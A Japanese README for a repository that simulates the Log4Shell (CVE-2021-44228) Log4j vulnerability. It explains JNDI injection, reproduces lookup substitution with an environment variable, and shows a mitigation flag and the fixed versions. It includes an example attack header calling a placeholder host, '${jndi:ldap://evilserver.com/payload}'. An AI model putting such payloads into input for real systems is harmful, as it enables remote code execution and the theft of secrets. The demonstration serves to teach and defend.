このリポジトリは、悪名高いCVE-2021-44228問題の簡略化されたシミュレーションを示しています。
システムプロパティやその他の辞書構造のルックアップに加えて、Apache Log4jはさまざまな理由でJNDIルックアップ機能も実装しています。 JNDIは、LDAP、DNS、Java RMIレジストリなど、多くのサービスプロバイダからサービスを取得できます。 JNDI自体は単純で安全ではないAPIであり、サードパーティによって制御されるサービスプロバイダからの保護はありません。 攻撃者が悪意のあるURLを介して公的にアクセス可能なサーバーを制御し、特定のポートでリッスンしているアプリケーションによって何がログに記録されるかを認識している限り、 攻撃者はログ形式を悪用して、アプリケーションにJNDIインジェクションを介して任意のJavaコードをロードおよび実行させることができます。 これは、プレーンテキストまたは難読化された形式で、一般的にログに記録されるリクエストヘッダーを介して渡される可能性があります。
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4jは、12月13日にリリースされた2.16.0バージョンより前のバージョンでリモートコード実行の脆弱性がありました。作者の迅速な対応には敬意を表します。
リソース:
このシミュレーションでは、LDAPサーバーの代わりに環境変数を使用し、ログ形式はプロパティ置換をサポートしています。 原理は変わりません。
Java 11とMavenが必要ですが、Maven Wrapperもリポジトリに含まれています。
GitHubリポジトリは、アクションでシークレットを利用可能にするために、ワークフローファイル.github/workflow/ci.ymlで環境変数として設定されたリポジトリシークレットPASSWORDを定義しています。
問題をローカルで再現するには、一般的に使用されるJAVA_HOME環境変数を使用できます。
ワークフローは、異なるApache Log4jバージョン2.14.1と2.16.0で2つのアプリケーションをビルドおよび実行します。以下はGitHub Actionsでのサンプル実行です: Java CI #7。
このバージョンは攻撃に対して脆弱です。以下の手順で再現します:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
環境変数がログに表示されます:
args[0] = C:\Program Files\Java\jdk-11.0.11
実際の実行が自動的に削除された場合に備えて、GitHubアクションからのスクリーンショットを以下に示します:

シークレットをログに出力しようとすると、GitHubは自動的にそれらを編集し、値がマスクされて***と表示されることに注意してください。
ただし、プロパティは置換されました。
一時的かつ部分的な回避策として、-Dlog4j2.formatMsgNoLookups=True JVMパラメータを追加することが指示されており、そのためアプリケーションのすべてのノードを再起動する必要があります。
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
プロパティ置換は発生しません:
args[0] = ${env:JAVA_HOME:-}
こちらもGitHub Actionsからのスクリーンショットです:

この問題は、Log4j Security TeamによってLog4j 2.12.2 (Java 7) およびLog4j 2.16.0 (Java 8) で修正されました。
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
プロパティ置換は発生しません:
args[0] = ${env:JAVA_HOME:-}
こちらもGitHub Actionsからのスクリーンショットです:
